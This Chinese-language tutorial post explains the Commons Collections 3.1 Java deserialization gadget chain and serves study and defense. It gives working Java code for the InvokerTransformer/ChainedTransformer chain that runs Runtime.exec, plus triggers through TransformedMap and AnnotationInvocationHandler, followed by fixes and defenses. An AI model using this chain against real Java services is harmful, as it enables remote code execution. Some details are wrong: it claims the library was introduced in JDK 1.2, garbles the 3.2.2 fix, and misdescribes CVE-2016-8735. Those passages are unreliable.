JAVA反序列化学习-Commons-Collections
字数 1604 2025-08-09 22:00:37
Java反序列化漏洞学习:Commons-Collections 3.1
1. Commons-Collections简介
Apache Commons Collections是一个为Java提供扩展数据结构的库,在JDK 1.2中引入,提供了许多强大的数据结构实现。版本3.1中存在一系列反序列化漏洞,这些漏洞可以被利用来执行任意代码。
2. 反序列化漏洞原理
Java反序列化漏洞的核心在于:当Java应用反序列化不可信的数据时,攻击者可以构造特殊的序列化对象,在反序列化过程中执行恶意代码。
Commons-Collections 3.1中的漏洞主要涉及以下几个关键类:
2.1 Transformer接口
org.apache.commons.collections.Transformer接口定义了一个对象转换的方法:
public interface Transformer {
Object transform(Object input);
}
2.2 关键实现类
ConstantTransformer:总是返回固定对象InvokerTransformer:通过反射调用方法ChainedTransformer:将多个Transformer串联执行TransformedMap:在Map的键或值发生变化时执行Transformer
2.3 漏洞利用链
攻击者可以构造一个特殊的Transformer链,在反序列化时执行任意代码:
- 使用
InvokerTransformer调用Runtime.getRuntime() - 再使用另一个
InvokerTransformer调用exec()方法执行命令
3. 漏洞利用详细分析
3.1 构造恶意Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
3.2 触发反序列化执行
有多种方式可以触发这个Transformer链的执行:
方式1:通过TransformedMap
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
当outerMap被修改时,会触发Transformer执行。
方式2:通过AnnotationInvocationHandler
在JDK 7u21及以下版本中,可以利用sun.reflect.annotation.AnnotationInvocationHandler来触发:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object instance = cons.newInstance(Target.class, outerMap);
序列化这个instance对象,当它被反序列化时就会执行恶意代码。
4. 漏洞修复方案
4.1 官方修复
Apache Commons Collections在后续版本中修复了此漏洞:
- 在3.2.2版本中,
InvokerTransformer、ConstantTransformer等类实现了Serializable接口,但增加了安全检查 - 在4.0版本中,这些类不再实现
Serializable接口
4.2 临时解决方案
- 升级Commons-Collections到安全版本
- 使用JVM级别的防护:
- 使用
ObjectInputFilter限制反序列化的类 - 使用安全管理器限制危险操作
- 使用
5. 漏洞利用限制
- 依赖Commons-Collections库在classpath中
- 目标应用需要反序列化不可信的数据
- JDK版本影响利用方式(如AnnotationInvocationHandler在JDK 8中的变化)
6. 防御建议
- 避免反序列化不可信数据
- 使用白名单机制验证反序列化的类
- 及时更新依赖库到安全版本
- 使用安全的替代方案如JSON、XML等数据格式
7. 相关CVE
- CVE-2015-4852:Commons-Collections反序列化漏洞
- CVE-2016-2510:类似的反序列化问题
- CVE-2016-8735:JmxInvokerHandler反序列化漏洞
8. 学习资源
- Commons-Collections官方文档
- Java反序列化漏洞详解
- ysoserial工具 - 生成利用payload的工具
通过深入理解这些原理,可以更好地防御Java反序列化漏洞,保护应用安全。